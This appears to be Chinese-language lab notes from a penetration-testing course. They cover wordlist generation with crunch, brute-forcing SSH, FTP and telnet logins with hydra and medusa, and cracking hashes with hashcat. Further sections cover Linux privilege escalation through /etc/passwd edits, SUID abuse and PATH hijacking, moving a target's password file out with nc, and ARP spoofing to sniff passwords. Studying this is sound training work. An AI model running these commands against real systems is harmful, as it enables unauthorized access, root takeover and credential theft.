文章目录
实验一
字典生成
字典种类
第一次试验所用的字典是社工字典,通过对某个人已知的信息生成字典
利用python cupper.py -i 口令字典生成口令:crunch <min_len><max_len> [charest string] [options]
参数:
min-len 最小长度字符串。必填
max-len 最大长度字符串。必填
charset string 选填,否则将使用缺省的字符集设置。缺省的设置为小写字符集,大写字符集,数字和特殊字符(符号),如果不按照这个顺序,你将得到自己指定结果。必须指定字符类型或加号的值。
options 选填
此次试验生成的密码字典,一共八位,后三位为数字,
-o是将生成的字典内容保存到1.txt里
man crunch 可以查看具体内容
一些参数
-b:指定文件输出的大小,避免字典文件过大
-c:指定文件输出的行数,即包含密码的个数
-d:限制相同元素出现的次数
-e:定义停止字符,即到该字符串就停止生成
-f:调用库文件(/etc/share/crunch/charset.lst)
-i:改变输出格式,即aaa,aab -> aaa,baa
-I:通常与-t联合使用,表明该字符为实义字符
-m:通常与-p搭配
-o:将密码保存到指定文件
-p:指定元素以组合的方式进行
-q:读取密码文件,即读取pass.txt
-r:定义重某一字符串重新开始
-s:指定一个开始的字符,即从自己定义的密码xxxx开始
-t:指定密码输出的格式
-u:禁止打印百分比(必须为最后一个选项)
-z:压缩生成的字典文件,支持gzip,bzip2,lzma,7z
`
破解口令
主要有hydra,medusa,hashcat
hydra(九头蛇)暴力字典破解工具
常用参数
hydra破解不同协议的密码
-vV参数显示破解过程,可不加
-L是用户文件(即多个),-l 是已知用户或锁定了某个
-P 密码词典 , -p 锁定某个密码
ssh: hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
https: hydra -m /index.php -l username -P pass.txt IP https
teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
telnet: hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
ftp: hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
medusa(美杜莎)工具
常用参数
medusa破解不同协议的密码
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
举例
破解SSH: medusa -M ssh -H host.txt -U user.txt -p password
hashcat(哈希猫)
通过哈希算法破解已知的密码的哈希值,获取密码明文。
-a:指定要使用的破解模式,其值参考后面对参数。“-a 0” 字典攻击,“-a 1” 组合攻击,“-a 3” 掩码攻击
-m:指定要破解的hash类型,如果不指定类型,则默认是MD5
-o:指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
–force:忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
例子
提权
利用ACL提权
实战1利用shadow文件提权
1.自己构造一个用户
2.使用perl语言生成带有盐值的密码
3.成功将test用户的信息加入 /etc/passwd 文件
4.用户名:user002 密码: 123456 登录主机,登录成功后,是 root 权限
suid提权
suid介绍
- SUID权限只能设置二进制文件
- 命令执行者要有二进制文件的执行权
- 命令执行者执行二进制文件时会获得该程序的属主身份
- SUID权限只在程序执行中有效 即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限
SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。
①find / -perm -u=s -type f 2>/dev/null //查找suid文件
②利用find命令执行一个查找到的suid文件 // 需要增加-p参数
③进入到root下查看文件
劫持系统环境变量提权
在已经知道被攻击方的密码时,可以直接劫持环境变量
①find / -perm -u=s -type f 2>/dev/null //查找suid文件
②找到某个可以用来提权的文件 //最关键的一步,执行该文件以后查看是用了什么linux指令,如ps,cat,需要用对应名字的文件来创建漏洞
③劫持系统环境变量
cd /tmp
echo “/bin/bash” > ps(cat)
chmod 777 ps(cat)
export PATH=/tmp:$PATH
ehco $PATH
cd /script/
./shell
④此时在root下,可以查看文件
实验二
注意事项:
①实验二需要将某个端口的password文件传送到主机
1)nc传送
先在kali: nc -lvp port > 文件名
另外一个靶机shell:nc kali_ip port < 文件名
2)scp传送:
从本地将文件传送到服务器:
scp【本地文件的路径】【服务器用户名】@【服务器地址】:【服务器上存放文件的路径】
②同时只需要password文件的最后八个字符可以利用cut :cut -c 29-36 shabi_2 > wuwu
嗅探
ip a 查找主机ip
nmap -sn ip/24
发现服务IP
发现服务端口
端口范围
未知情况下查找真正可以连接的端口可以进行全部端口扫描,扫描到端口后进入shell交互界面,利用具体端口可以进行nc链接
连接测试nc
简介
实验三
ARP欺骗
arpspoof是一个欺骗工具,它的运行不会影响整个网络的通信,该工具通过替换传输的数据从而达到对目标的欺骗
注意:以上ip的位置可以是网关也可以是通信的另一方
抓包和流量分析
抓包工具
tcpdump
基本用法
Wireshark
介绍及用法
更直接的方式直接追踪流follow,但是并不是很方便,可以使用tshark
Tshark
使用口令完成
注意:双向欺骗需要一边arp,以便进行抓包
①按照以下口令顺序执行,hh.cap是将分析得到东西写入hh.cap
②以流ID的形式读
③根据ID追踪回话,可以任意选一个ID,分析读出的内容,查找password
kjshark
fiddler